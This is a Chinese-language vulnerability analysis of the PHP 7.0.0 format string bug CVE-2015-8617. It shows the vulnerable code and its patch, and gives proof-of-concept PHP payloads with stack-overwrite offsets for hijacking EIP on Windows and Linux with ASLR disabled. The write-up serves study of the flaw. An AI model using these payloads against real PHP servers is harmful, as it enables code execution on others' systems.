PHP7.0.0格式化字符串漏洞與EIP劫持分析

skaycat 8年前發布 | 12K 次閱讀 漏洞分析 PHP PHP開發

PHP7.0.0的這個格式化字符串漏洞是15年12月在exploit-db上發現的。當初發現時,筆者還在北京東北方向的某信息安全公司上班,那時比較忙,并未能深入探究。最近幾天無意間又看到了這個漏洞,發現該漏洞多了一個CVE編號:CVE-2015-8617,于是深入地看了看這個漏洞,在這里對該格式化字符串漏洞進行一些簡要分析,并討論一下利用該漏洞劫持EIP的潛在方法,供各位讀者參考。

1. 引言

在PHP中有兩個常見的格式化字符串函數,分別是sppintf()和vsppintf(),它們分別對應sprintf()函數和vsprintf()函數,這兩個函數的聲明為:

PHPAPI int spprintf( char **pbuf, size_t max_len, const char *format, ...);

PHPAPI int vspprintf(char **pbuf, size_t max_len, const char *format, va_list ap);

通過其函數聲明可以看到,spprintf()接收可變數量的參數,而vspprintf()僅接收4個參數。

雖然這兩個函數的內部實現原理是類似的,但筆者不打算就此點進行深入討論,如有感興趣讀者,可以看一看《程序員的自我修養》一書。關于格式化字符串漏洞的分析文章普遍集中于sprintf()函數,而在本文中則需要重點討論一下vsprintf()函數,即著重討論下PHP中的vspprintf()函數。

2. 漏洞分析

本文所研究的vspprintf()函數在zend_throw_error()函數中,當觸發漏洞時,zend_throw_error()函數由zend_throw_or_error()函數調用。zend_throw_or_error()函數不是很長,所以復制其代碼如下:

static void zend_throw_or_error(int fetch_type, zend_class_entry *exception_ce, const char *format, ...)
{                
 va_list va;                
 char *message = NULL;                
  va_start(va, format);                
 zend_vspprintf(&message, 0, format, va);                
  if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) {                
 zend_throw_error(exception_ce,  message); //vul_func                
    //zend_throw_error(exception_ce,  "%s", message);  patched in  the subsequent version
                } else {                
 zend_error(E_ERROR, "%s", message);                
  }                
   efree(message);                
 va_end(va);                
}

在上述代碼段中,觸發漏洞的函數調用已用紅色筆標明出,由于調用時少了一個參數導致觸發了格式化字符串漏洞。該漏洞的補丁也用紅色筆在代碼中標明了。

關于該格式化字符串漏洞,并沒有很多需要分析說明的地方,下面開始分別從windows和linux兩個環境中討論利用該漏洞劫持EIP的方法。

3.windows 環境下分析

為了減少在win7環境下的分析難度,筆者暫且把ASLR關掉。若計劃實現穩定的EIP劫持,可能還需要通過其他手段獲取一些模塊基址,當然這PHP7.0.0格式化字符串漏洞本身也可以泄露一部分有用的內存數據。

在windows版本的PHP中,其漏洞函數位于php7ts.dll動態鏈接庫中,構造php頁面如下:

<?php                
$name="%n%n";                
$name::doSomething();                
?>

通過調試器啟動PHP解析該php頁面,執行到程序崩潰時,通過棧回溯,可以找到vspprintf()函數調用(該函數是導出函數,也可以直接在導出表中找到此函數),在該函數的函數頭下斷點,重新執行,找到即將觸發漏洞的某次調用。此時,觀察棧中的數據:

上圖中,棧頂是函數返回地址,即返回到zend_throw_error()函數中,接下來的是vspprintf()函數的四個參數。其中,0441E890即為va_list類型的參數。

這里需要指出的是,如果是傳統的spprintf()函數的格式化字符串溢出,則只需要不斷地利用%x遞增棧上參數數量,最后利用%n實現覆蓋函數返回地址即可有效地實現劫持EIP。但是此處是vspprintf()函數的,只接受4個參數,所以如果打算繼續劫持EIP,則需要研究一下va_list,va_list在不同環境下的定義略有不同,這里我們可以粗略地定義va_list類型如下:

#define va_list void*

即認為va_list是一個指向可變數量參數的指針。在vspprintf()函數中,對于%x的處理是直接取va_list指向的內容,如下圖:

其中,0441E890即為va_list的起始地址,通過圖1的第四個參數可以觀察到。對于第一個%x,則輸出0565D3C0;對于第二個%x,則輸出96E436E2;對于第三個%x,則輸出0441E8C4,以此類推下去。

在vspprintf()函數中,對于%n的處理則較為麻煩,它不會像%x那樣直接依次地讀寫下去,而是取va_list指向的參數表的每個參數作為指針,進而覆蓋該指針所指向的內容。結合圖2,具體敘述如下:對于第一個%n,則覆蓋0565D3C0所指向的內容,對于第二個%n,則覆蓋96E436E2所指向的內容,此時PHP就崩潰了,因為該地址是無效的。

此時,是無法直接覆蓋函數的返回地址。為實現劫持EIP的目的,需要在棧上找一個二級指針。該二級指針取值第一次為保存函數返回地址變量的地址,取值兩次為函數返回地址變量的值。但筆者在棧上并沒有找到所需的二級指針,所以,筆者只能選擇構造一個這樣子的指針,其構造方法如下:

1,首先在棧上選擇一個合適位置,該位置存儲內容指向棧的另一個位置,指向位置大于且接近該位置的地址。

復制部分棧內容如下:

0441E890   0565D3C0
0441E894   96E436E2
0441E898   0441E8C4< ------- 合適
0441E89C   102F8BE2
0441E8A0   00000200

正如上表所示,0441E8C4就是4字節對齊的,大于且接近0441E898,是一個非常合適的棧位置。

2,通過上一步找到的合適位置,覆蓋0441E8C4的內容,使其指向棧上保存函數返回地址的地址。

在筆者調試時,將其覆蓋為0441E82C,即當前函數返回到vspprintf()函數的返回地址:

3,第一次覆蓋之后,用%x繼續在棧上滑行,直到0441E8C4的位置,此時將會第二次覆蓋0441E82C的內容,使其指向我們需要跳轉的位置,比方說跳轉到04422222的位置。

按照上述思路,其棧空間的內容大致如下:

…
0441E824  96E40112
0441E828  96E43659
0441E82C   04422222 <-----第二次覆蓋
0441E830  0565D3C0
0441E834  0441E890
…
0441E890  0565D3C0 < -----起始
0441E894  96E436E2
0441E898  0441E8C4 <-----合適位置
0441E89C   102F8BE2
0441E8A0   00000200
…
0441E8BC    05614006
0441E8C0   96E436C2
0441E8C4    0441E82C <-----第一次覆蓋
0441E8C8   103865E9
0441E8CC    056631C0
…

基于此,筆者嘗試構造php頁面如下:

<?php                
$name="%71428125x%x%n%x%x%x%x%x%x%x%x%x%14788x%n";                
$name::doSomething();                
?>

當PHP解析該頁面的時候,首先輸出2個%x后,遇到第一個%n,則會覆蓋0441E8C4覆蓋為0441E82C;繼續跳過10個%x后,遇到第二個%n,則會覆蓋0441E82C覆蓋為04422222。

其運行結果如下圖所示:

單步執行后,就會來到04422222的位置:

Windows環境下的分析就到此位置,至于出現的幾個常數:71428125和14788以及10個%x從何而來,相信讀者自己也能想到。至于是否可以在棧上構造一些合適的數據,最后通過ROP實現EXP,這點也留給讀者自己考慮分析一下吧。

4.Linux 環境下分析

Linux環境下,同樣先把ASLR關掉,用以減少我們的分析難度。與Windows環境下的分析略有不同,由于Linux環境下的棧基址比較高,如下圖所示:

聲明一個如此之長的字符串,容易出現各種各樣的問題,所以筆者只好放棄直接覆蓋函數返回地址實現劫持EIP的方法。

這里考慮另一種劫持EIP的方法,覆蓋對象虛表的方法(一般情況下有三種常見的方法,在筆者之前的分析《kill.exe溢出漏洞分析與EXP討論》中有提到,感興趣的讀者可以看一下)。構造合適的php頁面,令PHP不崩潰,而是讓其繼續下去的話,就會發現PHP接下來將要調用_object_init_ex()函數,初始化異常對象。該初始化函數會進一步調用object_and_properties_init()函數,而在此函數中,會調用對象虛表中的函數,關鍵代碼段如下:

object_and_properties_init()                
{                
    …                 
    mov ebx, [esp+0Ch+class_type]                
    …                 
    mov eax, [ebx+0FCh]                
    …                
    call eax              ; call    [[esp+0Ch+class_type]+0FCh]                
    …                 
}

考慮到此時存儲在[esp+0Ch+class_type]+0FCh的值比較小,可以嘗試利用此處的call eax實現劫持EIP。

選擇在第3章節描述的二次覆蓋方法,可以構造棧空間如下:

…
08948F5C 08945D4C
08948F60 08945D50
08948F64 08955555 < -----第二次覆蓋
08948F68 00000000
08948F6C 00000000
…
BFFFBF94 B5C650A0< -----起始
BFFFBF98 087F41E7
BFFFBF9C BFFFBFCC < -----合適位置
BFFFBFA0 0895F890
BFFFBFA4 00000000
…
BFFFBFC4 00000000
BFFFBFC8 087F41E7
BFFFBFCC 08948F64< -----第一次覆蓋
BFFFBFD0 B5C14020
BFFFBFD4 B5C74054
…

基于以上討論,筆者構造php頁面如下:

<?php                
ini_set("memory_limit", "2G");                
$name="%143953757x%n%x%x%x%x%x%x%x%x%x%x%50621x%n";                
$name::doSomething();                
?>

當PHP在解析該頁時,第一次遇到%n將會覆蓋8FFFBFCC位置的數據為08948F64;而第二次遇到%n時,將08948F4位置的數據覆蓋為08955555。此后,程序會正常執行,直到call eax指令的位置:

此時,PHP將跳轉到我們指定的地址繼續執行,在上圖中為8955555地址。

值得慶幸的是,在Linux環境中,并沒有Windows環境的CFG保護。如果存在CFG保護,即有/GUARD:CF標記,將可能導致此種利用方式失敗。

Linux環境下的分析也就到此位置,至于出現的幾個常數:143953757和50621以及11個%x從何而來,相信讀者自己也能想到。至于是否可以實現有效的EXP,這點也留給讀者自己考慮分析一下吧。

5. 小結

本文簡要地分析了PHP7.0.0格式化字符串漏洞,并在windows和linux兩種不同的環境下,給出了運用該漏洞劫持EIP的方法。但需要指出的是,本文所有的分析都在禁用了ASLR的場景之下進行的,若打算實際利用該漏洞,還需要獲取一些模塊基址等其他有用信息。而關于這些,筆者就不再多說,還是交給感興趣的讀者自己研究吧。

 

來自:http://www.freebuf.com/vuls/116398.html

 

 本文由用戶 skaycat 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!